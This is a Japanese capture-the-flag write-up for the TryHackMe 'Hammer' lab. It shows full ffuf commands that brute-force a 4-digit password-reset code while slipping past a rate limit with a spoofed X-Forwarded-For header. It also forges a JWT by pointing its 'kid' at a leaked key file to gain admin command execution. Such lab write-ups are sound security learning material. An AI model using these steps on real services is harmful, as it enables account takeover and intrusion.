TryHackMe WriteUp : Hammer


## 導入

昨日行ったTryHackMeのチャレンジのwriteupになります。

このチャレンジは大きく2つのパートに分かれています。  
1つ目が**認証バイパス**(Flag1)、2つ目は**JWTの操作**(Flag2)です。  


- **認証バイパス**では、**レート制限を突破**することがポイントになります。  
- **JWTの操作**では、トークン内の `kid` のパスを書き換えることで署名検証を突破します。

## チャレンジ

### Flag1: 認証バイパス

まず、ポートスキャンの結果を確認します。

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
MAC Address: 02:17:B9:CD:C8:09 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポート番号1337でWEBサーバが稼働しているので、調査を進めます。

![スクリーンショット](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/a82be1b5-a099-7715-0b15-377e290cec28.png)

`/index.php` は、シンプルなログインページです。  
「Forgot your password?」からは `/reset_password.php` に遷移可能です。

さらに、`/index.php` のソースコードを確認すると、以下の記載が見つかりました。

```html
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
```

この情報を基に「hmr_」をプレフィクスとしてディレクトリの列挙を行います。

```bash
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<TARGET>:1337/hmr_FUZZ -s
```

結果として、以下のディレクトリが見つかりました。

```bash
hmr_images
hmr_css
hmr_js
hmr_logs
```

これらのディレクトリを調査したところ、`/hmr_logs/error_logs` から以下のメールアドレスが取得できました。

```bash
tester@hammer.thm
```

このメールアドレスを `/reset_password.php` に入力すると、4桁のディジットの入力を求められます。これは、このメールアドレスが有効であることを示唆しています。  
さらに、4桁の数字なので、制限機構がなければ総当たり攻撃が可能と推測できます。

まず、ワードリストを作成します。

```bash
seq 0000 9999 >> digits.txt
```

次に、以下のコマンドで総当たりを試みました。

```bash
ffuf -w digits.txt -u "http://<TARGET>:1337/reset_password.php" -X "POST" -d "recovery_code=FUZZ&s=60" -H "Cookie: PHPSESSID=<YOUR_SESSID_VALUE>" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -s
```

しかし、うまくいきません。  

そこで、BurpSuiteのRepeaterで詳細を確認したところ、レスポンスヘッダに `Rate-Limit-Pending` が記載されており、この値が試行毎に1ずつ減少し、0になるとレート制限がかかることが分かりました。  
Googleで調査しつつ、Repeaterで検証を重ねた結果、リクエスト毎に `X-Forwarded-For` ヘッダを独自に付与するとレート制限に引っかからないことが判明しました。  
このヘッダの値はIPアドレス形式である必要はなく、単にFUZZの値をそのまま入れる形で総当たり攻撃が可能です。

参考リンク: [HackTricks - Rate Limit Bypass](https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass)

最終的なペイロードは以下の通りです。

```bash
ffuf -w digits.txt -u "http://<TARGET>:1337/reset_password.php" -X "POST" -d "recovery_code=FUZZ&s=60" -H "Cookie: PHPSESSID=<YOUR_SESSID_VALUE>" -H "X-Forwarded-For: FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -s
```

この攻撃により、有効なディジットが見つかり、新パスワードを設定することで管理者画面にアクセス可能になり、1つ目のフラグが取得できました。

---

### Flag2: JWTの操作

![スクリーンショット](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/4d06f99c-b0e9-a6cd-c5a6-6c6c84141dd8.png)

管理者画面を調査すると、ユーザの入力をもとにOSコマンドが実行できる機能があります。しかし、様々な入力やフィルター回避テクニックを試しても、実行できたコマンドは `ls` のみでした。  
ただし、188ade1.keyの内容は取得可能で、後に役立ちます。

```json
{"output":"188ade1.key\ncomposer.json\nconfig.php\ndashboard.php\nexecute_command.php\nhmr_css\nhmr_images\nhmr_js\nhmr_logs\nindex.php\nlogout.php\nreset_password.php\nvendor\n"}
```

ここで、管理者画面にユーザのロールが指定されていることから、「高権限がないと制限なしでコマンドを実行できないのではないか」と考え、cookieのtokenとして付与されているJWTに着目しました。

[jwt.io](https://jwt.io/) を利用してトークンをデコードした結果が以下の通りです。

![スクリーンショット](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/05ca81d9-f7d5-8cf8-c58e-2f2f3bc0d101.png)

まず試みたのは、`role` を `user` から `admin` に変更してcookieにセットし、リクエストを送信することでしたが、署名検証で弾かれてしまいました。

その後、署名検証を回避する方法を色々試した結果、以下の手順で成功しました。

参考リンク: [PortSwigger - JWT](https://portswigger.net/web-security/jwt)

1. `kid` を `/var/www/html/188ade1.key` に設定
2. `role` を `user` から `admin` に変更
3. `secret` を `56058354efb3daa97ebab00fabd7a7d7`（188ade1.key）に設定

※ `/var/www/html/188ade1.key` を `kid` に使用した理由は、`/dev/null` が使用できない状況で、取得可能な（パスが分かり、ファイルの内容が分かる）ものを探した結果、適当だったからです。

![スクリーンショット](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/3a0f0b40-99a4-f30e-bf05-595313e92323.png)

上記のJWTをcookieのtoken値として使用し、コマンド実行を試みると、署名検証を突破して任意のコマンドが実行できるようになりました。  
あとは、`cat /home/ubuntu/flag.txt` コマンドでフラグを取得するだけです。

## あとがき

レート制限突破やJWTトークンの操作に関しては、ほとんど知見がありませんでした。しかし、日々の修行の成果か、自分なりに調べて検証することで、比較的早い段階で解決にたどり着けたと感じています。  

その一方で、知識がない中で手探りで行っていくことが多く、まだまだ学ぶべきことが多いと感じました。これからも精進していきたいと思います。

---